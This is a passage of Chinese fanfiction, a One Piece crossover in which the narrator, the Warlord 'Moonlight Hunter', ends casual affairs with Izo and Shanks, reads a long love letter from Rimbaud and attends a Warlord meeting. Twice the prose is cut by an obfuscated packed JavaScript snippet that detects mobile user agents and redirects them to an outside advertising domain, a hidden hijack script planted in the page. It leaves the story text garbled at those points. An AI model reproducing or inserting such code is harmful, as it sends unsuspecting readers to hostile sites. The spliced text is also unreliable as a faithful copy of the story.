压着以藏,看着以藏垂落在床上蜿蜒柔顺的长发,我轻笑道:“我好像是那种抢了美人回家又逼着美人与我共行鱼水之欢的恶霸,以藏先生呢,就像是无奈顺从无力反抗的那个美人。” 原本不打算因为这点小事让彼此都闹得不欢而散的以藏调换上下姿势,冷声道:“我是无力反抗的美人?那看来此刻戏码要调转一番了。” 海浪迭起,拍出一层层海水留下的痕迹,又一层层叠加,将最初的痕迹盖住。 而岛上撞见自家队长跟人离开的队员们疯狂给主船上的人送消息。 这个说队长跑了,那个说半点反抗都没有。 传来传去,传到白胡子耳朵里时,便成了【以藏队长跟情人私奔了,说以后会带孩子回来探望老爹。】 白胡子:? 马尔科轻咳两声,脸上笑意挡都挡不住:“老爹,不要听这群人胡说。” 白胡子看向马尔科,脸上是许久都不曾出现的困惑,马尔科闷笑道:“月光猎人,老爹你还记得吗?” 白胡子思索片刻,方道:“是那个年轻小丫头吧?很有潜力,只是看上去似乎没什么目标,一点都不像是在新世界闯荡的野心家啊!” 马尔科终究还是没忍住,大笑道:“以藏那家伙,好像只是跟人家来了一场露水姻缘,就被传成这样了yoi!” 白胡子颇具特色的笑声在莫比迪克号上响了起来。 待笑意过后,白胡子方才问马尔科:“你觉得月光能不能被以藏带到船上?” 白胡子很欣赏这种有底线有潜力的年轻人,当年便想让人邀请对方加入白胡子海贼团,如今见以藏跟对方搭上边,原本因为对方成了七武海而消散的心思又重新升起。 马尔科摇摇头,“老爹,这种事你该问以藏才对,我可没跟人家面对面说过话。” 身为皇副,马尔科自然知道白胡子的想法,但这种事强迫不来,白胡子海贼团也不是BIGMOM或者百兽,白胡子海贼团讲究的是你情我愿,你愿意投奔,那我庇护你,你不愿意,只要不招惹那也没关系,你强大了想离开,大家只要没有冲突以后见面也不是不能坐着喝酒闲聊。 强求,不是白胡子海贼团的作风。 白胡子想想,便也放下了这茬不提。 只是过后让马尔科替以藏解释解释,不然这种自家队长为爱私奔的戏码传出去……白胡子不敢想象BIGMOM与凯多会如何笑话自己。 而此时刚刚醒来的以藏摸摸身边早已冰冷的床单,心里有些失落,起身披上外衫正要寻找女人的身影,便被一旁安静的鹦鹉吸引了注意力。 羽毛如蜜桃般粉嫩的鹦鹉歪歪头,高声道:“美人醒了!美人醒了!” 以藏不禁露出几分笑意,待看见衣着整齐,只有脖颈上露出点点吻痕的女人散着长发走来时,不知为何竟然想起了那遥远故事之中会以歌声吸引水手入海,将其吞吃入腹的海妖。 或许是错觉吧? 以藏敞着衣襟,露出胸腹处的肌肉与皮肤上的抓痕,低头暗笑。 海妖可是从未出现过的存在,不过是故事罢了,自己怎么想起来这种存在了。 再说…… 如果这样的美人当真是海妖,想必不必开口,便有数不清的人恨不得以血肉奉养吧? 28.爱意 看着不知道在想些什么的以藏,我对他勾勾手,待以藏凑近后方笑着与他说起今早的趣事。 “似乎是你的队员?”我不大确定,“在外面问我是不是要带着你私奔之类的话……风评被害了呢。” 想起那些壮汉眼含热泪的模样,我不禁笑出了声:“一个个好像我是什么吃人的妖怪似的,现在还等在外面呢。” 虽然也说过只是露水姻缘这样的话,但是见昨夜还与自己耳鬓厮磨的情人一早便要将自己赶走,以藏还是忍不住询问:“露水姻缘……只有一次吗?” 我不能得到更多吗? 我笑着摇头,轻轻抱了抱以藏,柔声道:“亲爱的,你要知道,你与我本就是不愿与感情有过多交缠之人,彼此都给予对方足够体面的离开……未来总会有机会重逢,不是么?” 看似纤瘦柔和的女性却十分冷酷,“以藏先生,你该离开了。” 露水姻缘,终归也只是轻轻擦拭便会了无痕迹的露水,我不打算此界中人有过多感情牵扯,这便足矣。 【好冷酷无情哦——】系统拉长声音笑道:【那家伙都要哭出来了欸!】 【提前说好却又在事后反悔,不值得同情。】我将脏污之物全部烧掉,而后与系统平静道:【他只是觉得自己这样的人居然也被人拒绝,也被人抗拒,所以不甘而已,可不甘心,又有几分真情呢?】 露水姻缘,终归只是露水,我不必纠结那些,更不必思索露水姻缘的背后都纠缠了什么…… 系统这才放心,【想想老家的男鬼,他可还在等着你呢。】 与其多出来一个琉璃愿意为之付出一切的存在,还不如让那个男鬼占据琉璃心里的位置,总归男鬼不可能跟自己一样陪伴琉璃。 系统也有系统的小心思。 【你说的我好像什么渣女一样,家里红旗不倒,外面彩旗飘飘。】我自嘲着。 眼前是艳丽的花,可心里却想着老家的他?这样的我也能被称为与兰波彼此深爱? 【为什么琉璃要这么说自己?】系统困惑道:【明明在离开之前,就已经跟兰波暂时分开了不是吗?】 【明明兰波也一直支持琉璃以自己为主……虽然我不喜欢他,但我不会否认他对你的爱。】系统温和道:【或许我是系统,并不了解人类的感情,但我了解琉璃,也了解兰波,兰波爱你,所以希望你无论何时,都不要因为他而改变自己做下的选择,彼时琉璃既然感觉到了欢愉,那便不要抗拒自己做下的选择……】 【打个赌吧,琉璃。】系统轻叹道:【写一封信,将一切告知兰波,兰波绝不会认可你这样看待自己的。】 【他只会说……】 * 在看到熟悉的书信时,兰波并未因每日的三封书信而感到厌烦,他轻轻拆开信封、抚平信纸,从琉璃依旧没有忘记自己的愉悦变成了担忧。 兰波提笔,在信纸上不假思索写下了大篇文字,而后用那被拆开的信封装好,焦急等待着琉璃的回信。 * 【亲爱的琉璃亲启: 琉璃,很抱歉我让你如此自厌,让你如此恐惧,我很抱歉,我没有陪在你身边,还在从前给你带来了恐慌。 你每日送来三封信,都书写着你的见闻,在你最初离开时,我收到书信只会感到担忧、彷徨,我担心你在见到更为奇妙瑰丽的世界时,会不再需要我,可当你真的回来时,我又安心了,我知晓,我自那时开始便不会被你所抛弃,无论何时,即便死亡也不能让你我分离,那次过后,我收到你的书信,只会为你而欢喜,为你受伤而担忧,却不再彷徨。 那时我或许憔悴了许多,就像是缺少了阳光雨露滋润的鲜花,就像是没有你陪伴后阴郁寡言的我,可你不曾嫌弃更不曾埋怨,只是与我说着那些我透过你的纸笔、相片才能看到的景象。 抱歉,那时如此让你担忧,可是琉璃,你无需自厌。 琉璃,亲爱的琉璃,我曾说过,法国的贵族拥有情人是一件极为体面的事,我从不抗拒你为自己的愉悦而寻找情人,就像你不曾厌弃我也曾有过恋人、也曾放荡不羁过一般。 我爱你这样的词汇,从前你我都是说不出口的,你比我更清楚,我与你相遇、相爱、将一切情感牵系至彼此身上是多么难得。 琉璃,我曾经的所有不安,所有言语,你都不必在意,我爱你,是因为你,我爱着你,是因为你值得,我的不安,是因为琉璃过于美好,过于让我牵肠挂肚,过于让我担忧被遗弃…… 但唯独不是因为你做了什么。 你如何,是多情花心?还是冷漠寡言?可如何变化,你依然是你,你永远不需要厌弃自己。 追求欢愉,何必自弃? 我曾经也如此放浪形骸,我曾经也如此,琉璃。 最初你与我说起情人,你说日后你会有其他情人,我生气、懊恼,却又安心。 我没有理由反驳你,不单单因为爱,更因为我也曾如此,琉璃,在与你相遇之前,我曾如此,我自然也希望你可以如此,一切我所拥有的、拥有过的、你想得到的,都会到达你的手里,成为你的,只要你想要的,我都会为你争取,只要你所行所做能让你欢愉,我便安心。 琉璃,我与你分开,重新变为兰堂,只是因为我希望你能自由翱翔于天际,兰波会嫉妒的,兰堂不会,你可以是鹰隼,也可以是飞燕,更可以是遮天蔽日的巨龙,但绝不要因为他人言语更改自己行走的路,即便是我。 琉璃,我希望你能尽情享受这样的世界,我希望你能在历经一切之时不与我隐瞒,我会为你哭泣,为你的悲喜危安而悲喜,我希望你能在历经万事后依旧愿意回到这里,让我拥抱你。 可倘若不能,或许我也会心有了悟,到那时你便停掉信件,我便只当自己死去,成为了你的亡人,可我不会提前停止呼吸,因为你或许有一日还会如今日一般需要我,无论等到与否,我总是希望你开心的。 无论是情人,还是露水姻缘,亦或者是你短暂的爱着他人,只要你能从中得到欢愉,只要你快乐,我便是兰堂,可若有朝一日像是你我当日约定一般,你重新选择我时,我便又是兰波。 琉璃,抱歉,落笔时我有千般念头、万般心事,可最后我却发现文字如此苍白无力,我深深的思念着你,就像你从不说思念,只问侯我与你共同栽种的花如何一般思念着你。 心事万万千,念头千千万,落笔至此,却也无力更改过去,悔之晚矣。 琉璃,兰波是妒夫,他嫉妒你身边一切能让你展露笑颜的存在,他嫉妒你身边一切吸引你注意力的存在,但他永远不会插手更改,因为他爱你。 琉璃,兰堂是亲人,我担忧每一个你没有归来的夜晚,担忧每一次你诉说自己受伤的清晨,担忧每一天你不曾诉说的血与泪,但我只能以书信问询、安慰。 若能在你身边,看见你对那些情人微笑,我只会掏出手枪对准他们的太阳穴开枪,可我不在,那些能够让你短暂展露笑颜的情人,即便再多些又能如何? 请尽情的做你想做的事,只要你能因此而展露笑颜,我便能安心。 我与你互相深爱着彼此,这是毋庸置疑的,我希望你安好,希望你欢愉,希望你能展露笑颜,我希望你强大,希望你博学,希望…… 可是,琉璃,我更希望的,是你能开心,请放下常人在爱情中彼此唯一的观念,我爱你,是无论你做什么,都无法更改的。 无论因为何事让你如此自厌,都请放下那些令你不愉之事,将过往我说的那些烂话都忘了吧,琉璃,我很抱歉我让你如此不安。 无论兰堂抑或是兰波,都不会因为你做什么而恨你、厌弃你、忽视你,若有,那定然是海天倾覆,我如此坚信着这一点,并将用一生践行。 万语千言,我似乎也只能以贫瘠的语言诉说到这里,无论如何,只要你安好,我便安心,那些你所纠结的,都当成沙砾抖掉吧。】 厚重的信封承载着的是满溢出的思念与担忧,我捂着眼睛哽咽道:“我的赌运真差劲……” 但是……很高兴,真的很高兴。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15145983|163346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 我视线逐渐模糊,可原本送去的信没有带来我所担忧的文字,带来的,是一行行兰波无声爱语之时,我心中所笼罩的乌云方才退散。 鹦鹉在我面前难得没有重复着说话,而是平静又从容道:“你看,在兰波眼中,你无论做什么,他所在意的都只是你是否会快乐,是否会满足,他不会说什么贞洁什么守身,他只会静静的爱你,等你回家,你彼时对自己的怀疑、对兰波爱意的犹疑,都是你捅向自己与兰波的刀刃。” 那刀刃是无形的,言语是锋利的,可万般思绪,又如何能拦住轻柔又真切的爱意呢? “琉璃,你要抛下过往的那些沉疴旧疾。”唯一知道我过往一切的系统轻叹道:“过往如何,何必多思?如今总有这样一个人真切爱着你,总有我这样一个统静静陪着你,你所纠结的,是钻了牛角尖也好,还是什么旁的也罢,在看完这封信后,就让它们消散吧。” 我对爱情的观念,总是含糊的,可总有这样一个人教导着我,嘴上口口声声说着嫉妒,却也总是在我自我纠结之时只因为不在我身边便为此而悲伤,总会有这样一个人用言语安抚着我…… 也总有这样一个存在,能与我永恒的,互相陪伴着。 将沾了泪水的信件抚平,稳妥收起,我提笔写下回信。 交予系统后,我便靠在椅子上静静平复着情绪。 鹦鹉送走信件后,也没再说话,我与它静静陪伴着彼此。 在兰波不在的时候,我们总是要彼此陪伴着,才能在一个个异世之中支撑下去。 系统如此,我亦然。 这样情绪崩溃的事,也仅仅只发生了一次,但在那之后,我倒是越发放松。 原本隐隐带着些焦急的心态也平复下来,每月如上班打卡一样去找鹰眼对战,能多进步一点,便奖励自己随机拥有一位露水情缘开心一下。 “这就是你睡了我还不认账的原因?!”香克斯气笑了,他甚至都接受了自己不是唯一这个事实,没想到自己连情人的位置都没混上,被睡了还只有个露水情缘的头衔! “这么生气干什么……”我轻叹道:“又不是只睡了你一个不认账。” 香克斯还没反应过来,还在怀疑是不是自己哪里做的不够好,“我当然知道,可我只是希望成为你的情人……仅此而已。” 成了情人再想想怎么干掉那个只闻其名不见其人的正宫。 香克斯面上装着可怜,心里已经想好了数十种如何让对方死亡更为合理的计划。 我无奈道:“我的意思是,我睡了不止你一个。” 顿了顿,我补充道:“你们船上的。” 反应过来的香克斯也不装可怜了,冷脸询问:“是谁?” “贝克曼?还是旁人?”香克斯紧锁着眉头,虽然心里不爽,但也不是不能接受,毕竟自己喜欢的女人样样都好,旁人不喜欢才是没有眼光……而且自己也不是清清白白,凭什么指指点点。 香克斯生气的,只是自己暗恋多年,主船上几乎人人知晓,可竟然还有人抢先自己一步。 我再次重复道:“不止你一个,也不止你跟贝克曼两个……” “毕竟世界上又不是只有我一个人会同时喜欢上两个人……甚至更多。”我拍了拍香克斯的头,轻叹道:“在我询问你的时候,你说自己知道,我以为你真的知道,没想到你知道的只是旁人啊。” 虽然说我花心了一点点,但是对每一位露水情缘,我都竭尽所能给了我能给的呀。 而且我真心实意喜欢他们每一个,我有什么错? 成功与兰波和系统同频的琉璃轻声哄道:“好啦,虽然我不止你一位露水情缘,但这件事你也是知道的呀,而且我对你难道不够好吗?你就像是席卷着烈火的狂风一样围绕着我,热情满溢出来却依旧不曾停止,我如何能拒绝你呢?就算没有名分,可我给了足够多的钱呀。” 系统满意点头,就是这样,接受兰波已经算是不得已了,绝对不能再出现任何一个能比肩兰波与统的存在! 29.同僚 “毕竟在与我共行鱼水之欢前,你不是已经知道我有多少露水情缘了么。”我不明白,为什么每个被我选中的露水情缘最后都会做出这副哀怨暗恨的姿态。 分明他们也都是名扬新世界的大人物吧?这么纠结这种小事做什么? 香克斯看着面前这个昨夜还与自己温存,转头便笑吟吟说自己连情人都不是,只是露水情缘的女人,沉默许久后方才苦笑道:“如果不是我切实听见过你的心跳声,看见过你受伤时的模样,我大概会认为,你是没有心的、冰雪筑成的人偶。” 你为什么能这样冷静呢?钱、权、人,只要你想,只要点头,我都会甘心奉上啊。 可你却好像只是将我当成过客一般,你从不曾像我喜欢你、爱慕你一样同样的爱着我。 为什么? “正所谓百年修得同船渡,千年修得共枕眠。” 我看着香克斯,看着面前这个似乎还泛着苦笑的男人,安抚着他,“兴许只是缘分差了一点,遇到的晚了一点,想开些,时间还长,你总能遇到更喜欢的人。” 香克斯没有说话,只是在临走前,问询:“能不能告诉我,究竟是谁才会让你这样的人动心呢?” 告诉我,我会找出他,让他毫无痕迹的死去,在短暂的悲伤后,你会想开,你也会拥有更多的爱。 “兰波。” 我重复道:“只有兰波,能让我心生爱意,为其甘愿付出一切。” 没有什么好隐瞒的,我永远都不会隐瞒对兰波的爱。 那双似乎总是带着忧郁与无尽思念的双眸,在只是提到那个名字时,便不自觉展露笑颜,好似即便看不见,摸不到,都能感到快乐一般。 香克斯一言不发离开了,我并未在意。 若说第一个露水情缘,我还会钻钻牛角尖,因为一时想不开而烦忧自扰,可这都已经是…… 数不清第几个了。 我微微目移,对系统吐槽:【每个人都这样,好像我是什么一开始便将一切都隐瞒,脚踏多条船还让所有人认为我会跟他们一直在一起一样……】 可分明我从未隐瞒任何有关于自己感情上的多情与花心,更是对每一个露水情缘都给予大笔钱财……他们在不满什么? 【得陇望蜀咯。】系统操控着木偶为我做饭,不忘一心多用与我一同分析:【用数据衡量,你跟兰波对彼此的感情已经浓烈到满值的10,你们甘愿为彼此放下一切,那么就以香克斯为例。】 【初见时这家伙就对你不安好心,1至10之间,大概属于2或3,但是他能够克制,可当你们在冬岛再见时,不甘与惊喜同时迸发,外加你竟然医治好了他的手臂……不管用什么办法,总之,他对你的爱意达到了6或7。】 【本来就有些控制不住了,你还不知道是不是故意刺激对方。】 【我哪有!】说别的我都能点头认下,但说我故意刺激人就过分了吧,我讲究的是你情我愿双方都能从中享受的欢愉,又不是强制爱看到对方落泪会高兴的变态。 兰波例外。 【鹰眼先生真是好人~】系统憋笑道:【你知道你走之后那家伙……我是说香克斯,你知道香克斯的表情是什么样的吗?】 整个人都变成恶鬼了啊! 我无所事事吃着系统削的兔子苹果,听了系统这话便撇嘴:【人家的确很好啊,良师益友一样的存在诶。】 我只要约战说要切磋,什么时候过去都能见到人,而且既能知道自己的不足,又能被指点,时不时还能蹭饭…… 这如果都不算良师益友,那我感觉这个世界也没人值得被我侧目了。 系统轻笑,【总之,保护好自己,琉璃,我和兰波都是如此期盼着的。】 无论你如何,只要你快乐,满足,我们就永远会支持你的任何决定。 “我知道的。”我长叹道:“我一直都知道,并坚信着。” 系统、兰波,除了他们,还有谁会永远支持我,肯定我呢? 旁人或见色起意,或为利接近,真心者寥寥。 我都知道的,所以他们自认为情深时,我才会不解,为什么他们认为自己说了,我就要同意,就要接受呢? 拿了好处,又想要更多,人总是这样,我也如此,但不妨碍我双标地唾弃他们。 听着簌簌风声,我突然有些厌倦了总是在船上的生活,吃过饭便问系统有没有什么在我名下的岛屿。 【当然有。】越发活泼的系统像是早就准备好,就等我询问一般,接连掏出数十张落于我名下的资产列表。 我擦擦头上莫须有的冷汗,【够了够了,只要看看有没有什么气候适宜的小岛就好……】 【这些都是啊。】负责打理财产的系统随意道:【这个世界正经有人管理的岛屿虽然难买,但我也买了几座,不然你以为咱们的钱是哪里来的?】 再次虔诚的给我的财神统拜了三拜,而后我便跟系统一起挑选之后暂时定居的岛屿。 【这个太热了,这个太冷了,这个不适合种菜……】我挑挑拣拣,一旁的系统赞同道:【没错,不适合种菜的岛不是好岛。】 正挑拣着,桌上的电话虫便突然响起,系统知道我不喜欢碰电话虫,便帮我接了电话放在桌上。 “真是薄情啊,连新晋的四皇都只得了一个露水情缘的名头……”黄猿习惯性拉长着声音,言语中带着毫不遮掩的嘲笑。 我翻阅着纸张,面不改色:“我说过,我只喜欢你情我愿,双方都能从中得到欢愉与满足的露水情缘,他想成为情人,日后就会想成为唯一的爱人,可我心有所属……” 说着,我又忍不住笑了出声:“不过这话传出去,大概许多人会唾弃我吧,一边享受着年轻的□□,一边又口口声声说着自己心有所属什么的……” 黄猿翘着腿,将电话虫放在膝盖上,轻轻磨着指甲,沙沙的细微声响伴随黄猿的声音传进我耳中,“身为强者,拥有更多不是理所当然的么?BIGMOM也如此,谁会去嘲笑她?” “更不要说你给出的大笔钱财了,那可是即便我也会为之而心动的存在啊。” 为谁心动?人?还是钱? 黄猿没有明说,只是状似随意感慨一般。 我平静道:“哦,可我不喜欢你,如果一定要说,你们海军里的人长相都不符合我的喜好……身材倒是不错。” “不过如果被我睡了的话,我也不会负责,按现在咱们和平相处、愉快合作的情况来看,我认为钱财应该不可能满足大将的胃口……”说到这儿,我不免感慨:“明明最初都知道我的性格,明明都说好了只做露水情缘,最后却还想要更多,真是让人困扰。” 黄猿轻笑,却没有开口,直到我找到合心的岛屿后方才询问:“堂堂大将不会悠闲到给我这种不随便惹事的独行侠打电话吧?请说吧,联系我是因为什么呢?” 黄猿也没有卖关子,将七武海有一位人选过去挑战新晋的四皇红发香克斯,结果整个海贼团都被灭了的消息告知了我。 我困惑道:“那跟我有什么关系?空了位置就重新找人好了。” 黄猿心中百感交集,最终却也只是不喜不悲道:“原来你是这么想的吗?” 原来即便是四皇,都不能让你为之侧目么? 我只觉得莫名其妙,挂了电话后便与系统抱怨:“就像是我每次都是抱着要么灰溜溜滚回老家要么春风得意战胜对方的想法四处挑战切磋一样,我这位同僚怎么就没有这种良好美德?” 你去挑战对方,那就做好输了任人宰割的准备啊,海军来找我做什么? 莫名其妙。 【谁知道呢。】看透一切的系统不打算戳破,而后抱怨道:【好好的心情都被打扰了……不提他们,快看这个小岛怎么样,风景好,温度适宜……】 我重新提起兴致,与系统选定了一处四季如春的岛屿,打算当作暂时的定居地停留。 我只需要负责定下装修风格,剩下自然有系统去搞定。 甩手掌柜大概说的就是我了。 只不过即便是甩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15149889|163346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手掌柜,也有不能甩给别人的工作。 比如新加入七武海却与百兽海贼团来往密切的花札,就成功将每年一次的七武海会议提前,让原本还在跟系统一起商量在岛上种什么花好的我只能匆匆赶到海军本部。 庄重严肃的海军本部,步伐匆匆的女人冷着张脸推开会议室的门,见只差自己,更是紧锁着眉头。 “哈,这次人倒是来的全。”波雅汉库克冷笑道:“妾身远在无风带,竟都被生生请了过来。” 我冷着的脸在看见汉库克时,方才缓和些许,随意找了个地方坐下后,方道:“我不也是,本来在岛上思索要种什么花,结果就被匆匆叫来……我以为是什么大人物呢。” 言语中的不满让唯一一位面生的男人看了过去,但并未说什么。 即便是新世界之中,这位从不杀生的月光猎人也是极为有名的。 最初连四海都没有闯荡,便来到了新世界,明明看上去纤瘦又娇弱,一副贵族富商家中被娇养着的大小姐出门游玩的模样,却硬生生闯出了名声,连当时海上三位皇帝都抓不到人,想招揽的、想打击的,都被这位躲避开。 后来被招揽成为王下七武海后,虽然依旧保持独行侠的姿态,但却喜欢四处挑战强者,还不知怎么跟同样身为独行侠的鹰眼搞好了关系,不时便去挑战,谁也不知道这家伙如今的实力如何,只知道她似乎的确出身贵族,家产颇丰,几乎每一位与她有过露水情缘之人,都能在过后得到一大笔钱财…… 什么?花心?人家堂堂正正只要一场露水情缘还给了那么多钱,就是四皇都说不出什么不是吧? 起码花札自己认为,如果对方也能被归为海贼的话,绝对是道德心高到需要单独划分一档的存在。 当然,最重要的是对方足够强,而且人脉足够广,这才是花札没有开口或动手的原因。 汉库克看向身旁纤瘦的女人,姿态高傲却又带着几分惊叹,“你竟然也打算寻一处定居了?” 我面带欣赏,笑吟吟与神态高傲的汉库克柔声道:“是呀,我那艘船呀,看上去是大了一点,但住久了也觉得无趣,便随意挑了个荒岛,之后一切安置稳妥汉库克一定要赏脸过来做客才好,不然没有你的容貌照耀四方,我那房子也就是石与木堆砌而成的破屋罢了。” 除了花札这位新七武海之外,余下旁人头都不抬,俨然是已经习惯了月光猎人这副姿态。 汉库克仰着头得意道:“你既然开口,妾身便勉强应下了。” “那日后还请汉库克屈尊降贵啦。”上月刚刚与兰波见面,我心情颇好,自然不介意说些好话哄哄美人。 明明并不空旷的会议室,却硬生生让旁人都有一种插不进去的感觉。 曾经与这位月光猎人结仇且一直被对方厌恶的克洛克达尔与多弗朗明哥便不必说了,自然是没有开口的,鱼人甚平只能算得上与对方偶尔说得上几句话,最后还是鹰眼不知为何开口询问:“先前你不是说要重铸青铜剑。” 我暂时放下汉库克,转头与鹰眼解释:“是呀,因为那本来就是友人赠送的练手之剑,前段时间跟她说过后,她便让我过去将剑重铸……” 说着,我便将腰间长剑拔出,那剑比先前长了一半,剑身银亮,似乎隐隐有着流光,剑刃泛着蓝光,剑鞘也有了更为华丽的外表。 想起系统别别扭扭送过来这名为雨歇的长剑时,那期待的模样,我便不禁笑道:“她啊,本来还说要在这上面用黄金刻字、珍珠与宝石碎钻点缀,可那样的剑鞘我看不习惯,她便只坠了个剑坠。” “是把好剑。”鹰眼赞叹后,看着眼中冰湖都随之融化为春水的女人,平静道:“之后再切磋一番吧。” 我欣然应下,而后捧着脸期盼:“如果哪一天我能打败你的话,到时候我是不是就能拥有世界第一大剑豪这样的称呼了?” 鹰眼脸上难得有了几分笑意,看着只要说起提高实力,便总能看见柔软内里的女人,温和道:“你可以多多尝试,只要你来挑战,我总是不会拒绝的。” 30.死生 “呵。”汉库克冷笑道:“肮脏的男人。” 我低咳一声,只当自己什么都没有听见,靠着椅子给手上的鹦鹉顺着毛。 “这算是什么品种的鹦鹉呢?”鱼人甚平困惑道:“看上去就像是桃子一样。” 甚平出身鱼人岛,即便成为海贼后,对于奢侈的生活也并未接触,更多的还是喜欢在鱼人岛及其四周巡视,防止有人骚扰鱼人岛,不过这一点在鱼人岛插上白胡子的旗帜、甚平又成为七武海后,便好转许多。 对于自己大部分的同僚,甚平都不予评价,沙鳄精于算计,天夜叉无恶不作,女帝高傲冷淡,鹰眼目中无人…… 如果一定要说欣赏谁的话,那大概就是月光了。 月光猎人啊,一位将仁慈与平等带给所有人,宛如银月一般将月光倾洒在所有人身上的存在……谁会不喜欢这样的人呢? 即便是曾经因为轻蔑而攻击对方,最后却自己受伤的沙鳄与天夜叉,也难以厌恶吧? 纯善的会被他们这样的人憎恨乃至抗拒,纯恶的会被追捧又会被嫉恨,只有柔软又平静的月光,才能得到同样柔软的回应。 想起对方曾经解救过被拐卖的鱼人与人鱼后还特意将人护送到鱼人岛时的模样,甚平试图展现出自己的友好。 我捧着系统,对高大又胖胖有着蓝色皮肤的鱼人热心介绍:“这是红宝石鹦鹉,不过学名其实是秋草鹦鹉或者伯克氏鹦鹉,很乖吧?” 女人含笑道:“是我养了很久的宝宝,以后也会一直一直陪伴着我,是直到我死去才会离开的乖孩子。” 系统对于这点也十分认同,虽然它认为自己才是养大琉璃的人,但在这样的外人面前,也不会否认琉璃的话,让琉璃没有面子。 浅粉色脖颈上还带着小小花环的鹦鹉扇了扇翅膀,开口叫道:“妈妈!爱!爱妈妈!” “就是这样,是非常可爱,非常聪明的好孩子。”我如是道。 先不说旁人如何想,单一旁站着的海军就有无数的槽想要吐。 谁会把鹦鹉当成孩子……而且关键是这个鹦鹉居然还真的能听懂我的天。 成功搭上话后,甚平夸了几句鹦鹉,而后看向纤瘦高挑的女人,担忧道:“月光似乎看上去体型一直没什么变化啊,是生病了么?” 七武海之间关系本来就塑料,平时会议之时来的也少,这次算是除最初外来的最全的一次了,可真正在琉璃到来之后还开口说话的,却也寥寥无几。 所以甚平这话一出口,或坐或站之人便看向了自扬名后便始终纤瘦并无变化的女人。 或者说不能说毫无变化,实力上变化还是非常明显的,只是体型与容貌上没什么变化,不过在大海上这也不算特例,倒也没什么人多想。 但前提是没人想到疾病这一点。 “大概是个人原因吧。”纤瘦的女人被珠宝簇拥着,可那副毫不在意的姿态又让人不禁为之沉醉,她垂眸轻叹道:“不过疾病倒是跟我沾不上边……毕竟如果生病,我大概也不会有机会出来,只会被家里人按着养身体了。” 我难道会说因为吃下去的食物转化成让身体成长的能量还不够吗?当然不能,毕竟我是鲛人,是底牌,是不可能告诉这个世界任何一个人的底牌,如果告知,那大概就是我要离开了。 鹰眼难得插入了话题,“难不成你的家人拥有比你更强大的实力?” “诶——”我将鹦鹉放到肩上,思索片刻后方才肯定道:“的确是这样没错,但是他舍不得吧,什么时候他会对我动手,那大概是我希望他能将我带向死亡吧。” 因为我希望,因为我不想与他分开,因为直到那时我依旧寻找不到能将他带走,与他长久相伴的方法,所以那时我大概会在兰波死亡之前便让他杀死我。 “我会在他因为死亡而离开我之前,便先去河的另一边等待他,无论是天堂还是地狱,我都不会让他一个人孤零零的等待着我,如果他先一步离开,不愿动手,我会将他的尸体烧成灰,吃进肚子里,让他永远与我在一起。” “大概是这样的。” 我看着周边这些人的表情,温和道:“毕竟是对彼此许诺,生死都不可将彼此分割的存在,所以我偏执一点,也是被允许的。” “你不是不杀生么?”花札有些迷茫:“你不是如同月光一般品性高洁的存在吗?” 这么偏执,完全不像是传言中一样吧! “因为不在意。”我剥着蜜橘,自己不吃,全都喂给系统,笑吟吟道:“因为无所谓,你们怎样,跟我没有关系,一切的选择都是出自个人主观意愿所做,一切的结局都是自己亲手选择的,我并不是不杀生,我只是认为自己没有夺取他人生命的权利而已,至于品性高洁?” “只是随手帮了一些不会妨碍我的人,仅此而已。” 等到海军高层们进来,便也没人讨论这个话题,但是聊来聊去最后聊天的重点竟然又跑到了我身上,这是我没有想到的。 看着对面的海军对我定居在某座岛屿上的困惑,我陷入了长久的沉默之中。 “我是什么只会自处漂流的浪子么?”因为这些奇怪的困惑,我难得有些疲惫:“如果一定要说的话,那大概就是因为我想。” 明摆着就是懒得解释了吧。 黄猿看向一副无所畏惧姿态的女人,开口打着圆场,顺带试探:“老夫对这个倒是不感兴趣,不过能不能请月光解释一下为什么会跟这么多海贼扯上关系吗?” “都是露水情缘啊。”我困惑道:“不要说的你们各个都是什么守身如玉贞洁不容他人侵犯的处.男一样,明明各种花边报纸还有杂志上也有被报道过吧。” “而且我有给钱啊。”我平静道:“如果海军也有符合我审美的存在,我也会在睡了对方后给钱的,毕竟我穷的只剩下钱了。” “妈妈!大方!”系统适当开口夸赞。 鹦鹉成功让原本寂静的气氛活跃起来。 “原来如此……是因为不喜欢被牵绊所以用金钱斩断他人爱慕关系的类型么。”海军的大参谋,中将鹤平静道。 我颔首:“这么说也没错……” 那就还是有差别? 听懂了这话的人没有过多询问,只是将疑问藏在心里。 懒得留下来继续听唠叨,我便以会议结束家中还有事转身离开了海军本部,至于借口拙劣?像我这么配合还不喜欢挑事的七武海,他们再挑毛病我就转头去当海贼了,被通缉就被通缉,我这些同僚里谁还没被通缉过了。 在月光被问的太多转身离开后,会议室内的氛围瞬间便险恶起来。 不过这些跟我没关系。 重新上了船后被系统追着啄,最后举旗投降的我瘫在一尘不染的甲板上,长叹道:“真是麻烦,海军也是,海贼也是,革命军更是。” 【那你不要参与革命军那些事就好了,总之这些跟你也没有关系。】并不了解为什么琉璃口口声声喊着麻烦却还是会偶尔伸出援手的系统平静出着主意。 望着澄净的天空,我将思绪放空:【也只是给了点钱而已……就当我是什么好心的仙女好了。】 系统搞不懂,但也没说什么。 总归琉璃高兴就好了,别的都无所谓。 行至半路,系统突然询问我:【之后你还要与海军合作吗?】 